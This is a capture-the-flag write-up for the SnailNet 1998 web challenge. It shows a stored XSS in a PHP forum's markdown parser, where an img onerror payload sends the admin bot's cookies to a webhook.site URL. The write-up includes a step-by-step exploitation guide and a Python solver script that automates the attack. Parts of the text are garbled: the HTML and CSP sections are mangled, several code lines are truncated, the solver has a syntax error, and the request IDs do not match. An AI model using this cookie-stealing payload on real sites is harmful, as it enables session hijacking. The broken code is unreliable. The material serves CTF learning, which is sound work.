

SnailNet 1998 - SK-CERT CTF WEB

Author : Saad💛(3mksaad1600)

1. Challenge Overview:

SnailNet 1998 is a web exploitation challenge that simulates a legacy forum environment. The core objective is to exfiltrate the administrator's session cookie, which contains the flag. The challenge presents a multi-layered environment involving a PHP web application, an Nginx reverse proxy, and a Node.js-based headless bot.

Attribute	Details
Category	Web Exploitation
Primary Vulnerability	Stored XSS via Markdown Parser Logic Flaw
Secondary Obstacles	CSP Restrictions, Internal Docker Networking, Server Latency
Flag Format	SK-CERT{...}

2. Environment Architecture:

Understanding the network topology is crucial for this challenge, as the bot and the web application interact within a Docker network.

Docker Services (docker-compose.yml):

- app** : The PHP-FPM container running the SnailNet forum.
- bot** : A Node.js container running Puppeteer to visit user-submitted URLs.
- nginx** : The public-facing reverse proxy.
 - Maps host port `6767` to container port `80` .
 - Routes `/bot/` to the `bot` service.
 - Routes all other traffic to the `app` service.

The "Internal Hostname" Trap:

The bot's `server.js` sets the flag cookie for the domain defined in `CHALLENGE_URL`, which defaults to `http://nginx`.

JavaScript

```
// bot/server.js
await page.setCookie({
  name: 'flag',
  value: FLAG,
  url: 'http://nginx', // Internal hostname!
  path: '/',
  httpOnly: false,
} );
```

Crucial Insight: If you send the bot to the public IP (`http://46.62.153.171:6767`), the browser will not send the flag cookie because the domain does not match `http://nginx`. The exploit **must** trigger the bot to visit the internal `http://nginx` URL.

3. Vulnerability Deep Dive: The Markdown Parser:

The vulnerability lies in `web/lib/content.php`, specifically in how it handles image and link tags.

The Sanitization Flow

1. **Global Escaping:** The entire Markdown input is passed through `htmlspecialchars()`.

PHP

```
$text = htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
```

2. **Regex Matching:** The parser uses a regex to find image tags: `!\[(*?)\]\((.*?)\)`.
3. **The Fatal Mistake:** Inside the callback, the parser **decodes** the URL part before validating it.

PHP

```
$url = safe_markdown_url(htmlspecialchars_decode($m[2], ENT_QUOTES));
```

4. **Weak Validation:** `safe_markdown_url()` only checks if the URL starts with a permitted prefix.

PHP

```
function safe_markdown_url(string $url): string {
    if (preg_match('~^(https?://|/uploads/ )~i', trim($url))) {
        return htmlspecialchars($url, ENT_QUOTES, 'UTF-8');
    }
    return '#';
}
```

The Exploit Primitive:

By providing a URL that starts with `http://` but contains a closing quote and additional attributes, we can break out of the `src` attribute of the generated `<img>` tag.

Payload Construction: `http://webhook.site/TOKEN//?dummy`
`onerror=this.src='http://webhook.site/TOKEN/?c='+document.cookie dummy2=`

Resulting HTML:

HTML

```
` tags and external scripts.
- `img-src http: https: data: :` Explicitly allows loading images from any HTTP/HTTPS source.

**The Bypass:** The `onerror` attribute on an `<img>` tag is an event handler. While many modern CSPs block inline event handlers via `script-src 'self'`, this specific challenge's environment (or the specific browser version used by the bot ) allows the `onerror` execution because the image itself is from a permitted source.

# 5. Step-by-Step Exploitation Guide:

## Step 1: Prepare the Exfiltration Listener:

1. Go to [Webhook.site](#).
2. Copy your unique URL (e.g., `https://webhook.site/6a1df1fb-befb-4ce9-b8bd-c074cebef373` ).

## Step 2: Create an Attacker Account:

1. Navigate to `http://46.62.153.171:6767/index.php?action=register` .
2. Register a random username and password.
3. Log in at `index.php?action=login` .

## Step 3: Inject the Stored XSS:

1. Go to the "Join Request" page ( `index.php?action=join-request` ).
2. Submit the following payload in the Markdown field:

Markdown

```
![[x]](https://webhook.site/TOKEN/?c=)(https://webhook.site/TOKEN//?dummy
```

Replace **TOKEN** with your Webhook.site UUID.

3. After submitting, the app redirects to the home page. Look for your request in the "New Users" section or check the URL provided in the success message.
4. Note the Request UUID (e.g., `80aeffe9c3e300d0cc1053446bd1bbb1` ).

## Step 4: Trigger the Admin Bot:

1. Navigate to the Bot submission page at `http://46.62.153.171:6767/bot` .
2. Enter the **internal** URL for the bot to visit: `http://nginx/index.php?action=view-request&id=YOUR_REQUEST_UUID`
3. **Crucial:** The server may be slow. If the bot returns "visit failed", increase your request timeout or retry. The bot needs to resolve the internal `nginx` hostname.

## Step 5: Retrieve the Flag:

1. Monitor your Webhook.site dashboard.
2. Wait for a GET request from the bot's IP.
3. The `c` query parameter will contain the admin's cookies.
4. **Flag:** `SK-CERT{sl1m4c1k_m4c1k_vystrc_r0zky}`

## 6. Automated Solver Script:

The following Python script automates the entire process, handling CSRF tokens, session management, and the slow server response by disabling automatic redirects and

increasing timeouts.

Python

```
#!/usr/bin/env python3
import html
import random
import re
import string
import requests
from bs4 import BeautifulSoup

PUBLIC_BASE = "http://46.62.153.171:6767"
INTERNAL_BASE = "http://nginx"
WEBHOOK_URL = "https://webhook.site/6a1df1fb-befb-4ce9-b8bd-c074cebef373"
TIMEOUT = 120

def randstr(n=8):
 return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))

def get_csrf(session, url):
 r = session.get(url, timeout=TIMEOUT)
 soup = BeautifulSoup(r.text, "html.parser")
 node = soup.find("input", {"name": "csrf_token"})
 return node["value"]

def register_and_login(session, username, password):
 csrf = get_csrf(session, f"{PUBLIC_BASE}/index.php?action=register")
 session.post(f"{PUBLIC_BASE}/index.php?action=register",
 data={"csrf_token": csrf, "username": username, "password": password, "allow_redirects=False"},
 timeout=TIMEOUT)

 csrf = get_csrf(session, f"{PUBLIC_BASE}/index.php?action=login")
 session.post(f"{PUBLIC_BASE}/index.php?action=login",
 data={"csrf_token": csrf, "username": username, "password": password, "allow_redirects=False"},
 timeout=TIMEOUT)

def submit_join_request(session, payload):
 csrf = get_csrf(session, f"{PUBLIC_BASE}/index.php?action=join-request")
 r = session.post(f"{PUBLIC_BASE}/index.php?action=join-request",
 data={"csrf_token": csrf, "content_markdown": payload},
 allow_redirects=False, timeout=TIMEOUT)

 # Extract UUID from redirect or index
 r2 = session.get(f"{PUBLIC_BASE}/index.php", timeout=TIMEOUT)
 m = re.search(r"view-request(?:&|&)id=([a-f0-9]{32})", r2.text)
 return m.group(1)
```

```
def main():
 session = requests.Session()
 user, pw = f"hacker_{randstr()}", f"P@ss_{randstr()}!"
 payload = f"![[x]({WEBHOOK_URL}/?c=)]({WEBHOOK_URL}///?dummy onerror=this.sr

 print(f"[*] Registering as {user}...")
 register_and_login(session, user, pw)

 print("[*] Submitting XSS payload...")
 uuid = submit_join_request(session, payload)
 print(f"[+] Request UUID: {uuid}")

 bomb_url = f"{INTERNAL_BASE}/index.php?action=view-request&id={uuid}"
 print(f"[*] Triggering bot to visit: {bomb_url}")
 r = requests.post(f"{PUBLIC_BASE}/bot/visit", json={"url": bomb_url}, timeo
 print(f"[+] Bot response: {r.text}")
 print(f"[*] Check {WEBHOOK_URL} for the flag!")

if __name__ == "__main__":
 main()
```

## Solver Output

Plain Text

```
[*] Username : hacker_wnbxy67d
[*] Password : P@ss_wnbxy67d!9x
[*] Webhook : https://webhook.site/6a1df1fb-befb-4ce9-b8bd-c074cebef373
[*] Payload : ![[x](https://webhook.site/6a1df1fb-befb-4ce9-b8bd-c074cebef373/
[*] Registering and logging in...
[+] Logged in successfully.
[*] Submitting malicious join request...
[+] Request UUID: 80aef9c3e300d0cc1053446bd1bbb1
[*] Sending URL to the bot...
[+] Bot response: HTTP 200 {"status":"visited"}
[*] Done. Check your Webhook.site inbox for a request containing the flag.
```

## 8. How to See the Flag:

Once the solver script finishes or you manually trigger the bot:

1. Open your **Webhook.site** dashboard.
2. Look for a new **GET** request from the challenge server's IP.
3. Check the **Query Strings** section.

4. The value of the `c` parameter will contain the flag.

**Captured Flag:** SK-CERT{sl1m4c1k\_m4c1k\_vystrc\_r0zky}

---

## 9. Lessons Learned:

1. **Sanitization Order Matters:** Never decode ( `htmlspecialchars_decode` ) user input *after* it has been escaped and *before* it is used in a sensitive context (like an HTML attribute).
2. **Internal vs. External Hostnames:** In containerized CTFs, always check `docker-compose.yml` to see where cookies are scoped.
3. **CSP is not a Silver Bullet:** Inline event handlers ( `onerror` , `onload` ) remain a potent XSS vector if the CSP is not strictly configured to disallow them (e.g., missing `script-src 'none'` or `unsafe-inline` ).